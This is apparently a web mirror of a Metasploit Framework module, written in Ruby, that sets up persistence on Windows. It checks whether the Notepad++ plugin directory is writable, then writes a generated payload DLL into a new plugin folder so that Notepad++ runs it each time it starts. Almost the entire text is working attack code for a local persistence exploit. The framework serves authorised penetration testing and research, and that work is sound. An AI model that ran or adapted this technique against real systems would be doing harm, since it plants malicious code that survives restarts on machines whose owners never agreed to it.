Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/persistence/notepadpp_plugin_persistence.rb
27907 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::EXE
11
include Msf::Exploit::Local::Persistence
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Notepad++ Plugin Persistence',
19
'Description' => %q{
20
This module create persistence by adding a malicious plugin to Notepad++, as it blindly loads and executes DLL from its plugin directory on startup, meaning that the payload will be executed every time Notepad++ is launched.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [ 'msutovsky-r7' ],
24
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
25
'Platform' => [ 'win' ],
26
'SessionTypes' => [ 'meterpreter', 'shell' ],
27
'Targets' => [
28
[ 'Automatic', {} ]
29
],
30
'DisclosureDate' => '2005-12-11', # plugins were added to Notepad++
31
'DefaultTarget' => 0,
32
'References' => [
33
['URL', 'https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence']
34
],
35
'Notes' => {
36
'Stability' => [CRASH_SAFE],
37
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
38
'SideEffects' => [ARTIFACTS_ON_DISK]
39
}
40
)
41
)
42
43
register_options(
44
[
45
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
46
]
47
)
48
end
49
50
def get_plugin_dir
51
expand_path('%PROGRAMFILES%\\Notepad++\\plugins\\')
52
end
53
54
def check
55
@plugin_dir = get_plugin_dir
56
return CheckCode::Safe('Notepad++ is probably not present') unless directory?(@plugin_dir)
57
58
# borrowed from startup folder persistence
59
begin
60
# windows only ps payloads have writable? so try that first
61
return CheckCode::Safe("Unable to write to #{@plugin_dir}") unless writable?(@plugin_dir)
62
rescue RuntimeError
63
filename = @plugin_dir + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))
64
write_file(filename, '')
65
if exists? filename
66
rm_f(filename)
67
else
68
return CheckCode::Safe("Unable to write to #{@plugin_dir}")
69
end
70
end
71
72
CheckCode::Vulnerable('Notepad++ present and plugin folder is writable')
73
end
74
75
def install_persistence
76
@plugin_dir ||= get_plugin_dir
77
78
payload_name = CGI.escape(datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))))
79
payload_pathname = @plugin_dir + payload_name + '\\'
80
payload_exe = generate_payload_dll({ dll_exitprocess: true })
81
fail_with(Failure::BadConfig, "#{payload_instance.arch.first} payload selected for #{sysinfo['Architecture']} system") unless sysinfo['Architecture'] == payload_instance.arch.first
82
vprint_good("Writing payload to #{payload_pathname}")
83
if session.type == 'meterpreter'
84
fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless session.fs.dir.mkdir(payload_pathname)
85
else
86
fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless cmd_exec("mkdir \"#{payload_pathname}\"")
87
end
88
89
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe)
90
91
vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}")
92
@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"
93
end
94
end
95
96